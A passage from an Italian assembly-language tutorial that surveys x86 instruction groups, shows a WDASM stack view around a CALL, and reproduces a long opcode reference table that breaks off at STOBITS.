Per le stringhe è possibile :

```
DB    'Ciao'
```

Vediamo in dettaglio il set istruzioni assembler.

Istruzioni ordinarie a due operandi

1) ADD e ADC – Addizione con o senza includere un riporto dalla precedente addizione.
2) SUB o SBB – Sottrazione con o senza riporto da una precedente sottrazione.
3) CMP – Comparazione
4) AND, OR o XOR – Tipiche operazioni booleane
5) TEST – Tipo AND
6) MOV – Muove i dati dalla sorgente alla destinazione
7) LDS, LES, LEA – Forme di MOV specializzate

Molte forme di caricamento delle stringhe relative a messaggi da visualizzare vengono eseguite tramite queste ul6time istruzioni.
Sono comuni costrutti del tipo :

lea edx, dword ptr [ebp + FFFFAA8]

Istruzioni ordinarie ad un solo operando sono :

1) INC – incrementa il contenuto
2) DEC – Decrementa
3) NEG – Due complementi
4) NOT – Un complemento
5) PUSH – Inserisce un valore nello stack
6) POP – Preleva un valore dallo stack

Alcune istruzioni non seguono le regole generali delle altre ma comunque richiedono l'uso di erti registri.

1) Istruzioni di moltiplicazione e divisione.
2) Istruzioni di aggiustamento che aiutano a eseguire operazioni su dati ASCII
3) Operazioni di shift e di rotazione
4) IN, OUT le quali agiscono sulle 1024 possibili porte hardware
5) CBW , CWD – Convertono byte in word oppure word in doubleword.

Istruzioni che agiscono sul flusso del programma.

1) CALL, RET - Chiamata e ritorno. Ricordatevi del discorso fatto per il basic legato alle istruzioni di salto condizionate (GOSUB e RETURN).
2) INT, IRET – Chiamata d' interrupts e ritorno da una routine d'interript.
3) JMP – Salto
4) LOOP, LOOPNZ, LOOPZ – Istruzioni che implementano dei loops.
5) Varie istruzioni di salto condizionate (JE, JNE ecc.)
   Le vedremo n modo dettagliato tra poco.

Istruzioni su stringhe o sequenze di caratteri.

Considerate in queste istruzioni che spesso i sorgenti sono descritte da combinazioni di DS e SI, mentre le destinazioni da ES e DI.

1) CMPSB/CMPSW – Compara byte o word
2) LODSB/LODSW – Legge bytes o words in AL o AX
3) STOSB/STOSW – Salva bytes o words da AL o AX.
4) MOVSB/MOVSW – Muove bytes o words
5) SCASB/SCASW – Compara bytes o words con i contenuti di AL o AX.
6) REP/REPE/REPNE – Un prefisso con il quale può essere combinato con qualsiasi delle precedenti istruzioni perche vengano ripetute su una stringa la cui lunghezza è in CX.
   Ad esempio :

```
REP MOVSB
REP STOSB
REPNE SCASB
```

Altre istruzioni riguardano lo stack.
Le funzionalit sono due :

1) PUSH – Inserisce un valore nello stack
2) POP – Lo preleva

Quando seguite un programma tenetelo sempre a bada in particolar modo prima e dopo qualche chiamata.
A proposito di chiamate, queste avvengono tramite l'istruzione :

1) CALL – Esegue una chiamata

Se usate WDASM potete richiedere la visualizzazione di ESP nel seguente modo.
Prendiamo un piccolo esempio per capire di cosa stiamo parlando.
Supponiamo di avere il seguente codice e di essere posizionati sulla linea precedente aqlla call.

```
:0040C191 A3309D4100             mov dword ptr [00419D30], eax
:0040C196 E895230000             call 0040E530
:0040C19B A300744100             mov dword ptr [00417400], eax
:0040C1A0 85C0                   test eax, eax
```

Se in WDASM analizziamo la finestra con i registri possiamo richiedere di visualizzare nella finestrella centrale il registro ESP.
Il seguente è la copia prima della call.

```
[esp-00000014] - 0000017f  ....
[esp-00000010] - 00000000  ....
[esp-0000000C] - 00000216  ....
[esp-00000008] - 00000316  ....
[esp-00000004] - 0040c191  ..@.
[esp+00000000] - 00000000  ....
[esp+00000004] - 815d117c  |.].
[esp+00000008] - 00550000  ..U.
[esp+0000000C] - 00000000  ....
[esp+00000010] - 00000008  ....
[esp+00000014] - 00000000  ....
```

Ricordatevi che il pulsanti in basso permettono di vedere come dword, word, byte o codice i dati di questa finestra.
A questo punto richiediamo di eseguire la call e successivamente analizziamo i dati mostrati.

```
[esp-00000014] - 0000017f  ....
[esp-00000010] - 815d117c  |.].
[esp-0000000C] - 0065fe38  8.e.
[esp-00000008] - 00550000  ..U.
[esp-00000004] - 0040c19b  ..@.
[esp+00000000] - 00000000  ....
[esp+00000004] - 815d117c  |.].
[esp+00000008] - 00550000  ..U.
[esp+0000000C] - 00000000  ....
[esp+00000010] - 00000008  ....
[esp+00000014] - 00000000  ....
```

Se vi dovesse servire apritevi il NOTEPAD e di tanto in tanto usate i pulsanti COPY posizionati su ogni finestrella.
Successivamente potete usare il comando PASTE per metterveli nel notepad.
A forza di seguire programmi assembler tenersi segnato da qualche parte i dati può essere utile.
Esistono anche dei flags che indicano alcuni avvenimenti particolari quali interrupts, riporti ecc.
La seguente tabella mostra le istruzioni riservate dell'assembler compresi gli opcode.
Questi sono importanti in quanto è necessari conoscerli per poterli sostituire con un editor hex nelle patch ai nostri programmi.
Gli indirizzi effettivi li potete calcolare riferendovi alla tabella riportata precedentemente in questo capitolo.

"v" **denota un tipo uguale a w ovvero una word (16 bits).**
"c" **indica che l'operando è una code-label, la quale punta ad una parte del programma che deve essere "salato" o "chiamato".**
"e" **indica che l'operando è un indirizzo effettivo.**

"i"   indica una costante immediata.
"m"   indica una variabile in memoria.
"r"   indica un registro ad uso generale.
"rv/m" è usato in istruzioni bit test

```
Opcodes    Instruction     Description

67 or nil  A2 (prefix)   3 Use 16-bit address (indexing) in next instruction
67 or nil  A4 (prefix)   3 Use 32-bit address (indexing) in next instruction
37         AAA             ASCII adjust AL (carry into AH) after addition
D5 0A      AAD             ASCII adjust before division (AX = 10*AH + AL)
D4 0A      AAM             ASCII adjust after multiply (AL/10: AH=Quo AL=Rem)
3F         AAS             ASCII adjust AL (borrow from AH) after subtraction

14 ib      ADC AL,ib       Add with carry immediate byte into AL
15 iv      ADC eAX,iv      Add with carry immediate vword into eAX
80 /2 ib   ADC eb,ib       Add with carry immediate byte into EA byte
10 /r      ADC eb,rb       Add with carry byte register into EA byte
83 /2 ib   ADC ev,ib       Add with carry immediate byte into EA vword
81 /2 iv   ADC ev,iv       Add with carry immediate vword into EA vword
11 /r      ADC ev,rv       Add with carry vword register into EA vword
12 /r      ADC rb,eb       Add with carry EA byte into byte register
13 /r      ADC rv,ev       Add with carry EA vword into vword register

04 ib      ADD AL,ib       Add immediate byte into AL
05 iv      ADD eAX,iv      Add immediate vword into eAX
80 /0 ib   ADD eb,ib       Add immediate byte into EA byte
00 /r      ADD eb,rb       Add byte register into EA byte
83 /0 ib   ADD ev,ib       Add immediate byte into EA vword
81 /0 iv   ADD ev,iv       Add immediate vword into EA vword
01 /r      ADD ev,rv       Add vword register into EA vword
02 /r      ADD rb,eb       Add EA byte into byte register
03 /r      ADD rv,ev       Add EA vword into vword register
0F 20      ADD4S         N Add CL nibbles BCD, DS:SI into ES:DI (CL even,NZ)

24 ib      AND AL,ib       Logical-AND immediate byte into AL
25 iv      AND eAX,iv      Logical-AND immediate vword into eAX
80 /4 ib   AND eb,ib       Logical-AND immediate byte into EA byte
20 /r      AND eb,rb       Logical-AND byte register into EA byte
83 /4 ib   AND ev,ib       Logical-AND immediate byte into EA vword
81 /4 iv   AND ev,iv       Logical-AND immediate vword into EA vword
21 /r      AND ev,rv       Logical-AND vword register into EA vword
22 /r      AND rb,eb       Logical-AND EA byte into byte register
23 /r      AND rv,ev       Logical-AND EA vword into vword register
63 /r      ARPL ew,rw    2 Adjust RPL of EA word not smaller than RPL of rw

62 /r      BOUND rv,m2v  2 INT 5 if rw not between 2 vwords at [m] inclusive
0F BC      BSF rv,ev     3 Set rv to lowest position of NZ bit in ev
0F BD      BSR rv,ev     3 Set rv to highest position of NZ bit in ev
0F C8+r    BSWAP rd      4 Swap bytes 1,4 and 2,3 of dword register

0F BA/4 ib BT rv/m,ib    3 Set Carry flag to bit # ib of array at rv/m
0F A3/r    BT rv/m,rv    3 Set Carry flag to bit # rv of array at rv/m
0F BA/7 ib BTC rv/m,ib   3 Set CF to, then compl bit ib of array at rv/m
0F BB/r    BTC rv/m,rv   3 Set CF to, then compl bit rv of array at rv/m
0F BA/6 ib BTR rv/m,     3 Set CF to, then reset bit ib of array at rv/m
0F B3/r    BTR rv/m,rv   3 Set CF to, then reset bit rv of array at rv/m
0F BA/5 ib BTS rv/m,ib   3 Set CF to, then set bit ib of array at rv/m
0F AB/r    BTS rv/m,rv   3 Set CF to, then set bit rv of array at rv/m

9A cp      CALL cp         Call far segment, immediate 4- or 6-byte address
E8 cv      CALL cv         Call near, offset relative to next instruction
FF /3      CALL ep         Call far segment, address at EA memory location
FF /2      CALL ev         Call near, offset absolute at EA vword
0F FF ib   CALL80 ib     N Call 8080-emulation code at INT number ib

98         CBW             Convert byte into word (AH = top bit of AL)
99         CDQ           3 Convert dword to qword (EDX = top bit of EAX)
F8         CLC             Clear carry flag
FC         CLD             Clear direction flag so SI and DI will increment
FA         CLI             Clear interrupt enable flag; interrupts disabled

0F 12/0    CLRBIT eb,CL  N Clear bit CL of eb
0F 13/0    CLRBIT ew,CL  N Clear bit CL of ew
0F 1A/0 ib CLRBIT eb,ib  N Clear bit ib of eb
0F 1B/0 ib CLRBIT ew,ib  N Clear bit ib of ew
0F 06      CLTS          2 Clear task switched flag
```

```
F5          CMC                Complement carry flag

3C ib       CMP AL,ib          Subtract immediate byte from AL for flags only
3D iv       CMP eAX,iv         Subtract immediate vword from eAX for flags only
80 /7 ib    CMP eb,ib          Subtract immediate byte from EA byte for flags only
38 /r       CMP eb,rb          Subtract byte register from EA byte for flags only
83 /7 ib    CMP ev,ib          Subtract immediate byte from EA vword for flags only
81 /7 iv    CMP ev,iv          Subtract immediate vword from EA vword, flags only
39 /r       CMP ev,rv          Subtract vword register from EA vword for flags only
3A /r       CMP rb,eb          Subtract EA byte from byte register for flags only
3B /r       CMP rv,ev          Subtract EA vword from vword register for flags only

0F 26       CMP4S            N Compare CL nibbles BCD, DS:SI - ES:DI (CL even,NZ)
A6          CMPS mb,mb         Compare bytes [SI] - ES:[DI], advance SI,DI
A7          CMPS mv,mv         Compare vwords [SI] - ES:[DI], advance SI,DI
A6          CMPSB              Compare bytes DS:[SI] - ES:[DI], advance SI,DI
A7          CMPSD              Compare dwords DS:[SI] - ES:[DI], advance SI,DI
A7          CMPSW              Compare words DS:[SI] - ES:[DI], advance SI,DI

0F C7 /1    CMPX8 mq         5 If EDXEAX=mq then mq:=ECXEBX, else EAXEDX:=mq
0F B0 /r    CMPXCHG eb,rb 4 If AL=eb then set eb to rb, else set AL to eb
0F B1 /r    CMPXCHG ev,rv 4 If eAX=ev then set ev to rv, else set eAX to ev
0F A2       CPUID            5 If EAX=1 set EDXEAX to CPU identification values
99          CWD                Convert word to doubleword (DX = top bit of AX)
98          CWDE             3 Sign-extend word AX to doubleword EAX
2E          CS (prefix)        Use CS segment for the following memory reference

27          DAA                Decimal adjust AL after addition
2F          DAS                Decimal adjust AL after subtraction
FE /1       DEC eb             Decrement EA byte by 1
FF /1       DEC ev             Decrement EA vword by 1
48+rv       DEC rv             Decrement vword register by 1

F6 /6       DIV eb             Unsigned divide AX by EA byte (AL=Quo AH=Rem)
F7 /6       DIV ev             Unsigned divide eDXeAX by EA vword (eAX=Quo eDX=Rem)
3E          DS (prefix)        Use DS segment for the following memory reference

C8 iw 00    ENTER iw,0       1 Make stack frame, iw bytes local storage, 0 levels
C8 iw 01    ENTER iw,1       1 Make stack frame, iw bytes local storage, 1 level
C8 iw ib    ENTER iw,ib      1 Make stack frame, iw bytes local storage, ib levels
26          ES (prefix)        Use ES segment for the following memory reference
            F(any)             Floating point set is in Chapter 7
F4          HLT                Halt

F6 /7       IDIV eb            Signed divide AX by EA byte (AL=Quo AH=Rem)
F7 /7       IDIV ev            Signed divide eDXeAX by EA vword (eAX=Quo eDX=Rem)
F6 /5       IMUL eb            Signed multiply (AX = AL * EA byte)
F7 /5       IMUL ev            Signed multiply (eDXeAX = eAX * EA vword)
0F AF /r    IMUL rv,ev       3 Signed multiply ev into rv
6B /r ib    IMUL rv,ib       1 Signed multiply imm byte into vword register
69 /r iv    IMUL rv,iv       1 Signed multiply imm vword into vword register
69 /r iv    IMUL rv,ev,iv 1 Signed multiply (rv = EA vword * imm vword)
6B /r ib    IMUL rv,ev,ib 1 Signed multiply (rv = EA vword * imm byte)

E4 ib       IN AL,ib           Input byte from immediate port into AL
EC          IN AL,DX           Input byte from port DX into AL
E5 ib       IN eAX,ib          Input vword from immediate port into eAX
ED          IN eAX,DX          Input vword from port DX into eAX

FE /0       INC eb             Increment EA byte by 1
FF /0       INC ev             Increment EA vword by 1
40+rv       INC rv             Increment vword register by 1

6C          INS eb,DX        1 Input byte from port DX into [DI], advance DI
6D          INS ev,DX        1 Input vword from port DX into [DI], advance DI
6C          INSB             1 Input byte from port DX into ES:[DI], advance DI
6D          INSD             3 Input dword from port DX into ES:[DI], advance DI
6D          INSW             1 Input vword from port DX into ES:[DI], advance DI

CC          INT 3              Interrupt 3 (trap to debugger) (far call, with flags
CD ib       INT ib             Interrupt numbered by immediate byte    pushed first)
CE          INTO               Interrupt 4 if overflow flag is 1
0F 08       INVD             4 Invalidate the Data Cache without writing
0F 01 /7    INVLPG m         4 Invalidate the TLB Entry that points to m
CF          IRET               Interrupt return (far return and pop flags)
CF          IRETD            3 Interrupt return (pop EIP, ECS, Eflags)

77 cb       JA cb              Jump short if above (CF=0 and ZF=0)    above=UNSIGNED
```

```
73 cb      JAE cb          Jump short if above or equal (CF=0)
72 cb      JB cb           Jump short if below (CF=1)             below=UNSIGNED
76 cb      JBE cb          Jump short if below or equal (CF=1 or ZF=1)
72 cb      JC cb           Jump short if carry (CF=1)

E3 cb      JCXZ cb         Jump short if CX register is zero
74 cb      JE cb           Jump short if equal (ZF=1)
E3 cb      JECXZ cb      3 Jump short if ECX register is zero
7F cb      JG cb           Jump short if greater (ZF=0 and SF=OF) greater=SIGNED
7D cb      JGE cb          Jump short if greater or equal (SF=OF)
7C cb      JL cb           Jump short if less (SF>OF)               less=SIGNED
7E cb      JLE cb          Jump short if less or equal (ZF=1 or SF>OF)

EB cb      JMP cb          Jump short (signed byte relative to next instruction)
EA cp      JMP cp          Jump far (4- or 6-byte immediate address)
E9 cv      JMP cv          Jump near (vword offset relative to next instruction)
0F 8n cv   Jcond LONG cv 3 Jump, if condition, to offset >127 away
FF /4      JMP ev          Jump near to EA vword (absolute offset)
FF /5      JMP md          Jump far (4-byte address in memory doubleword)

76 cb      JNA cb          Jump short if not above (CF=1 or ZF=1)
72 cb      JNAE cb         Jump short if not above or equal (CF=1)
73 cb      JNB cb          Jump short if not below (CF=0)
77 cb      JNBE cb         Jump short if not below or equal (CF=0 and ZF=0)
73 cb      JNC cb          Jump short if not carry (CF=0)

75 cb      JNE cb          Jump short if not equal (ZF=0)
7E cb      JNG cb          Jump short if not greater (ZF=1 or SF>OF)
7C cb      JNGE cb         Jump short if not greater or equal (SF>OF)
7D cb      JNL cb          Jump short if not less (SF=OF)
7F cb      JNLE cb         Jump short if not less or equal (ZF=0 and SF=OF)

71 cb      JNO cb          Jump short if not overflow (OF=0)
7B cb      JNP cb          Jump short if not parity (PF=0)
79 cb      JNS cb          Jump short if not sign (SF=0)
75 cb      JNZ cb          Jump short if not zero (ZF=0)
70 cb      JO cb           Jump short if overflow (OF=1)

7A cb      JP cb           Jump short if parity (PF=1)
7A cb      JPE cb          Jump short if parity even (PF=1)
7B cb      JPO cb          Jump short if parity odd (PF=0)
78 cb      JS cb           Jump short if sign (SF=1)
74 cb      JZ cb           Jump short if zero (ZF=1)

9F         LAHF            Load: AH = flags  SF ZF xx AF xx PF xx CF
0F 02 /r   LAR rv,ew     2 Load: high(rw) = Access Rights byte, selector ew
C5 /r      LDS rv,ep       Load EA pointer into DS and vword register
8D /r      LEA rv,m        Calculate EA offset given by m, place in rv
C9         LEAVE         1 Set SP to BP, then POP BP (reverses previous ENTER)
C4 /r      LES rv,ep       Load EA pointer into ES and vword register
0F B4 /r   LFS rv,ep     3 Load EA pointer into FS and vword register

0F 01 /2   LGDT m        2 Load 6 bytes at m into Global Descriptor Table reg
0F B5 /r   LGS rv,ep     3 Load EA pointer into GS and vword register
0F 01 /3   LIDT m        2 Load 6 bytes into Interrupt Descriptor Table reg
0F 00 /2   LLDT ew       2 Load selector ew into Local Descriptor Table reg
0F 01 /6   LMSW ew       2 Load EA word into Machine Status Word
F0         LOCK (prefix)   Assert BUSLOCK signal for the next instruction

0F 33/r    LODBITS rb,rb N Load AX with DS:SI,bit rb (incr. SI,rb), rb+1 bits
0F 3B/0 ib LODBITS rb,ib N Load AX with DS:SI,bit rb (incr. SI,rb), ib+1 bits
AC         LODS mb         Load byte [SI] into AL, advance SI
AD         LODS mv         Load vword [SI] into eAX, advance SI
AC         LODSB           Load byte [SI] into AL, advance SI
AD         LODSD           Load dword [SI] into EAX, advance SI
AD         LODSW           Load word [SI] into AX, advance SI

E2 cb      LOOP cb         noflags DEC CX; jump short if CX>0
E1 cb      LOOPE cb        noflags DEC CX; jump short if CX>0 and equal (ZF=1)
E0 cb      LOOPNE cb       noflags DEC CX; jump short if CX>0 and not equal
E0 cb      LOOPNZ cb       noflags DEC CX; jump short if CX>0 and ZF=0
E1 cb      LOOPZ cb        noflags DEC CX; jump short if CX>0 and zero (ZF=1)

0F 03 /r   LSL rv,ev     2 Load: rv = Segment Limit, selector ew
0F B2 /r   LSS rv,ep     3 Load EA pointer into SS and vword register
0F 00 /3   LTR ew        2 Load EA word into Task Register

A0 iv      MOV AL,xb       Move byte variable (offset iv) into AL
```

```
A1 iv       MOV eAX,xv       Move vword variable (offset iv) into eAX
0F 22 /4    MOV CR4,rd     5 Move rd into control register 4
0F 22 /n    MOV CRn,rd     3 Move rd into control register n (=0,2, or 3)

0F 23 /n    MOV DRn,rd     3 Move rd into debug register n (=0,1,2,3)
0F 23 /n    MOV DRn,rd     3 Move rd into debug register n (=6,7)
0F 26 /n    MOV TRn,rd     3 Move rd into test register TRn (=6,7)

C6 /0 ib    MOV eb,ib        Move immediate byte into EA byte
88 /r       MOV eb,rb        Move byte register into EA byte
C7 /0 iv    MOV ev,iv        Move immediate vword into EA vword
89 /r       MOV ev,rv        Move vword register into EA vword

8C /r       MOV ew,segreg    Move segment register into EA word
B0+rb ib    MOV rb,ib        Move immediate byte into byte register
8A /r       MOV rb,eb        Move EA byte into byte register
0F 20 /4    MOV rd,CR4     5 Move control register 4 into rd
0F 20 /n    MOV rd,CRn     3 Move control register n (=0,2, or 3) into rd

0F 21 /n    MOV rd,DRn     3 Move debug register n (=0,1,2,3) into rd
0F 21 /n    MOV rd,DRn     3 Move debug register n (=6,7) into rd
0F 24 /n    MOV rd,TRn     3 Move test register TRn (=6,7) into rd
B8+rw iv    MOV rv,iv        Move immediate vword into vword register
8B /r       MOV rv,ev        Move EA vword into vword register

8E /r       MOV segreg,mw    Move EA word into segment register (except CS)
A2 iv       MOV xb,AL        Move AL into byte variable (offset iv)
A3 iv       MOV xv,eAX       Move eAX into vword register (offset iv)
A4          MOVS mb,mb       Move byte [SI] to ES:[DI], advance SI,DI
A5          MOVS mv,mv       Move vword [SI] to ES:[DI], advance SI,DI
A4          MOVSB            Move byte DS:[SI] to ES:[DI], advance SI,DI
A5          MOVSD          3 Move dword DS:[SI] to ES:[DI], advance SI,DI
A5          MOVSW            Move word DS:[SI] to ES:[DI], advance SI,DI

0F BF /r    MOVSX rd,ew    3 Move word to dword, with sign-extend
0F BE /r    MOVSX rv,eb    3 Move byte to vword, with sign-extend
0F B7 /r    MOVZX rd,ew    3 Move word to dword, with zero-extend
0F B6 /r    MOVZX rv,eb    3 Move byte to vword, with zero-extend
8C /r       MOVZX rw,seg   3 Move segment register into EA word

F6 /4       MUL eb           Unsigned multiply (AX = AL * EA byte)
F7 /4       MUL ev           Unsigned multiply (eDXeAX = eAX * EA vword)
F6 /3       NEG eb           Two's complement negate EA byte
F7 /3       NEG ev           Two's complement negate EA vword
            NIL (prefix)     Special "do-nothing" opcode assembles no code
90          NOP              No Operation

F6 /2       NOT eb           Reverse each bit of EA byte
F7 /2       NOT ev           Reverse each bit of EA word
0F 16/0     NOTBIT eb,CL   N  Complement bit CL of eb
0F 17/0     NOTBIT ew,CL   N  Complement bit CL of ew
0F 1E/0 ib NOTBIT eb,ib   N Complement bit ib of eb
0F 1F/0 ib NOTBIT ew,ib   N Complement bit ib of ew

66 or nil   O2 (prefix)    3 Use 16-bit data operand in the next instruction
66 or nil   O4 (prefix)    3 Use 32-bit data operand in the next instruction
0C ib       OR AL,ib         Logical-OR immediate byte into AL
0D iv       OR eAX,iv        Logical-OR immediate word into eAX
80 /1 ib    OR eb,ib         Logical-OR immediate byte into EA byte
08 /r       OR eb,rb         Logical-OR byte register into EA byte
83 /1 ib    OR ev,ib         Logical-OR immediate byte into EA word
81 /1 iv    OR ev,iv         Logical-OR immediate word into EA word
09 /r       OR ev,rv         Logical-OR word register into EA word
0A /r       OR rb,eb         Logical-OR EA byte into byte register
0B /r       OR rv,ev         Logical-OR EA word into word register

E6 ib       OUT ib,AL        Output byte AL to immediate port number ib
E7 ib       OUT ib,eAX       Output word eAX to immediate port number ib
EE          OUT DX,AL        Output byte AL to port number DX
EF          OUT DX,eAX       Output word eAX to port number DX
6E          OUTS DX,eb     1 Output byte [SI] to port number DX, advance SI
6F          OUTS DX,ev     1 Output word [SI] to port number DX, advance SI
6E          OUTSB          1 Output byte DS:[SI] to port number DX, advance SI
6F          OUTSD          3 Output dword DS:[SI] to port number DX, advance SI
6F          OUTSW          1 Output word DS:[SI] to port number DX, advance SI

1F          POP DS           Set DS to top of stack, increment SP by 2
07          POP ES           Set ES to top of stack, increment SP by 2
```

```
0F A1       POP FS         3 Set FS to top of stack, increment SP by 2
0F A9       POP GS         3 Set GS to top of stack, increment SP by 2
8F /0       POP mv           Set memory word to top of stack, increment SP by 2
58+rw       POP rv           Set word register to top of stack, increment SP by 2
17          POP SS           Set SS to top of stack, increment SP by 2

61          POPA           1 Pop DI,SI,BP,SP,BX,DX,CX,AX (SP value is ignored)
61          POPAD          3 Pop EDI,ESI,EBP,x,EBX,EDX,ECX,EAX (ESP ign.)
9D          POPF             Set flags register to top of stack, increment SP by 2
9D          POPFD          3 Set eflags reg to top of stack, incr SP by 2

0E          PUSH CS          Set [SP-2] to CS, then decrement SP by 2
1E          PUSH DS          Set [SP-2] to DS, then decrement SP by 2
06          PUSH ES          Set [SP-2] to ES, then decrement SP by 2
0F A0       PUSH FS        3 Set [SP-2] to FS, then decrement SP by 2
0F A8       PUSH GS        3 Set [SP-2] to GS, then decrement SP by 2
6A ib       PUSH ib        1 Push sign-extended immediate byte
68 iv       PUSH iv        1 Set [SP-2] to immediate word, then decrement SP by 2
FF /6       PUSH mv          Set [SP-2] to memory word, then decrement SP by 2
50+rw       PUSH rv          Set [SP-2] to word register, then decrement SP by 2
16          PUSH SS          Set [SP-2] to SS, then decrement SP by 2

60          PUSHA          1 Push AX,CX,DX,BX,original SP,BP,SI,DI
60          PUSHAD         3 Push EAX,ECX,EDX,EBX,original ESP,EBP,ESI,EDI
9C          PUSHF            Set [SP-2] to flags register, then decrement SP by 2
9C          PUSHFD         3 Set [SP-4] to eflags reg, then decr SP by 4

D0 /2       RCL eb,1         Rotate 9-bit quantity (CF, EA byte) left once
D2 /2       RCL eb,CL        Rotate 9-bit quantity (CF, EA byte) left CL times
C0 /2 ib    RCL eb,ib      1 Rotate 9-bit quantity (CF, EA byte) left ib times
D1 /2       RCL ev,1         Rotate v+1-bit quantity (CF, EA word) left once
D3 /2       RCL ev,CL        Rotate v+1-bit quantity (CF, EA word) left CL times
C1 /2 ib    RCL ev,ib      1 Rotate v+1-bit quantity (CF, EA word) left ib times

D0 /3       RCR eb,1         Rotate 9-bit quantity (CF, EA byte) right once
D2 /3       RCR eb,CL        Rotate 9-bit quantity (CF, EA byte) right CL times
C0 /3 ib    RCR eb,ib      1 Rotate 9-bit quantity (CF, EA byte) right ib times
D1 /3       RCR ev,1         Rotate v+1-bit quantity (CF, EA word) right once
D3 /3       RCR ev,CL        Rotate v+1-bit quantity (CF, EA word) right CL times
C1 /3 ib    RCR ev,ib      1 Rotate v+1-bit quantity (CF, EA word) right ib times
0F 32       RDMSR          5 Read Model Specific Reg #ECX to EDXEAX
0F 31       RDTSC          5 Read Time Stamp Counter to EDXEAX

F3          REP (prefix)     Repeat following MOVS,LODS,STOS,INS, or OUTS CX times
65          REPC (prefix) N Repeat following CMPS or SCAS CX times or until CF=0
F3          REPE (prefix)    Repeat following CMPS or SCAS CX times or until ZF=0
64          REPNC (prfix) N Repeat following CMPS or SCAS CX times or until CF=1
F2          REPNE (prfix)    Repeat following CMPS or SCAS CX times or until ZF=1
F2          REPNZ (prfix)    Repeat following CMPS or SCAS CX times or until ZF=1
F3          REPZ (prefix)    Repeat following CMPS or SCAS CX times or until ZF=0

CB          RETF             Return to far caller (pop offset, then seg)
C3          RET              Return to near caller (pop offset only)
CA iw       RETF iw          RET (far), pop offset, seg, iw bytes
C2 iw       RET iw           RET (near), pop offset, iw bytes pushed before Call

D0 /0       ROL eb,1         Rotate 8-bit EA byte left once
D2 /0       ROL eb,CL        Rotate 8-bit EA byte left CL times
C0 /0 ib    ROL eb,ib      1 Rotate 8-bit EA byte left ib times
D1 /0       ROL ev,1         Rotate 16- or 32-bit EA vword left once
D3 /0       ROL ev,CL        Rotate 16- or 32-bit EA vword left CL times
C1 /0 ib    ROL ev,ib      1 Rotate 16 or 32-bit EA vword left ib times
0F 28/0     ROL4 eb        N Rotate nibbles: Heb=Leb   HAL,Leb=LAL  LAL=Heb

D0 /1       ROR eb,1         Rotate 8-bit EA byte right once
D2 /1       ROR eb,CL        Rotate 8-bit EA byte right CL times
C0 /1 ib    ROR eb,ib      1 Rotate 8-bit EA byte right ib times
D1 /1       ROR ev,1         Rotate 16- or 32-bit EA vword right once
D3 /1       ROR ev,CL        Rotate 16- or 32-bit EA vword right CL times
C1 /1 ib    ROR ev,ib      1 Rotate 16- or 32-bit EA vword right ib times
0F 2A/0     ROR4 eb        N Rotate nibbles: Leb=Heb   Heb=LAL  AL=eb
0F AA       RSM            5 Resume from System Management mode

9E          SAHF             Store AH into flags  SF ZF xx AF xx PF xx CF
D0 /4       SAL eb,1         Multiply EA byte by 2, once
D2 /4       SAL eb,CL        Multiply EA byte by 2, CL times
C0 /4 ib    SAL eb,ib      1 Multiply EA byte by 2, ib times
D1 /4       SAL ev,1         Multiply EA vword by 2, once
```

```
D3 /4       SAL ev,CL       Multiply EA vword by 2, CL times
C1 /4 ib    SAL ev,ib     1 Multiply EA vword by 2, ib times

D0 /7       SAR eb,1        Signed divide EA byte by 2, once
D2 /7       SAR eb,CL       Signed divide EA byte by 2, CL times
C0 /7 ib    SAR eb,ib     1 Signed divide EA byte by 2, ib times
D1 /7       SAR ev,1        Signed divide EA vword by 2, once
D3 /7       SAR ev,CL       Signed divide EA vword by 2, CL times
C1 /7 ib    SAR ev,ib     1 Signed divide EA vword by 2, ib times

1C ib       SBB AL,ib       Subtract with borrow immediate byte from AL
1D iv       SBB eAX,iv      Subtract with borrow immediate word from eAX
80 /3 ib    SBB eb,ib       Subtract with borrow immediate byte from EA byte
18 /r       SBB eb,rb       Subtract with borrow byte register from EA byte
83 /3 ib    SBB ev,ib       Subtract with borrow immediate byte from EA word
81 /3 iv    SBB ev,iv       Subtract with borrow immediate word from EA word
19 /r       SBB ev,rv       Subtract with borrow word register from EA word
1A /r       SBB rb,eb       Subtract with borrow EA byte from byte register
1B /r       SBB rv,ev       Subtract with borrow EA word from word register

AE          SCAS mb         Compare bytes AL - ES:[DI], advance DI
AF          SCAS mv         Compare vwords eAX - ES:[DI], advance DI
AE          SCASB           Compare bytes AL - ES:[DI], advance DI
AF          SCASD           Compare dwords EAX - ES:[DI], advance DI
AF          SCASW           Compare words AX - ES:[DI], advance DI

0F 14/0     SETBIT eb,CL  N Set bit CL of eb
0F 15/0     SETBIT ew,CL  N Set bit CL of ew
0F 1C/0 ib SETBIT eb,ib  N Set bit ib of eb
0F 1D/0 ib SETBIT ew,ib  N Set bit ib of ew
0F 9n /r    SETcond eb    3 Set eb byte to 1 if condition, 0 if not
0F 01 /0    SGDT m        2 Store 6-byte Global Descriptor Table register to M

D0 /4       SHL eb,1        Multiply EA byte by 2, once
D2 /4       SHL eb,CL       Multiply EA byte by 2, CL times
C0 /4 ib    SHL eb,ib     1 Multiply EA byte by 2, ib times
D1 /4       SHL ev,1        Multiply EA word by 2, once
D3 /4       SHL ev,CL       Multiply EA word by 2, CL times
C1 /4 ib    SHL ev,ib     1 Multiply EA word by 2, ib times

0F A5/r     SHLD ev,rv,CL 3 Set ev to high of ((ev,rv) SHL CL)
0F A4/r ib SHLD ev,rv,ib 3 Set ev to high of ((ev,rv) SHL ib)

D0 /5       SHR eb,1        Unsigned divide EA byte by 2, once
D2 /5       SHR eb,CL       Unsigned divide EA byte by 2, CL times
C0 /5 ib    SHR eb,ib     1 Unsigned divide EA byte by 2, ib times
D1 /5       SHR ev,1        Unsigned divide EA word by 2, once
D3 /5       SHR ev,CL       Unsigned divide EA word by 2, CL times
C1 /5 ib    SHR ev,ib     1 Unsigned divide EA word by 2, ib times
0F AD/r     SHRD ev,rv,CL 3 Set ev to low of ((rv,ev) SHR CL)
0F AC/r ib SHRD ev,rv,ib 3 Set ev to low of ((rv,ev) SHR ib)

0F 01 /1    SIDT m        2 Store 6-byte Interrupt Descriptor Table register to M
0F 00 /0    SLDT ew       2 Store Local Descriptor Table register to EA word
0F 01 /4    SMSW ew       2 Store Machine Status Word to EA word
36          SS              Use SS segment for the following memory reference
F9          STC             Set carry flag
FD          STD             Set direction flag so SI and DI will decrement
FB          STI             Set interrupt enable flag, interrupts enabled

0F 31/r     STOBITS rb,rb N Store AX to ES:DI,bit rb (incr. DI,rb), rb+1 bits
0F 39/0 ib STOBITS rb,ib N Store AX to ES:DI,bit rb (incr. DI,rb), ib+1 bits
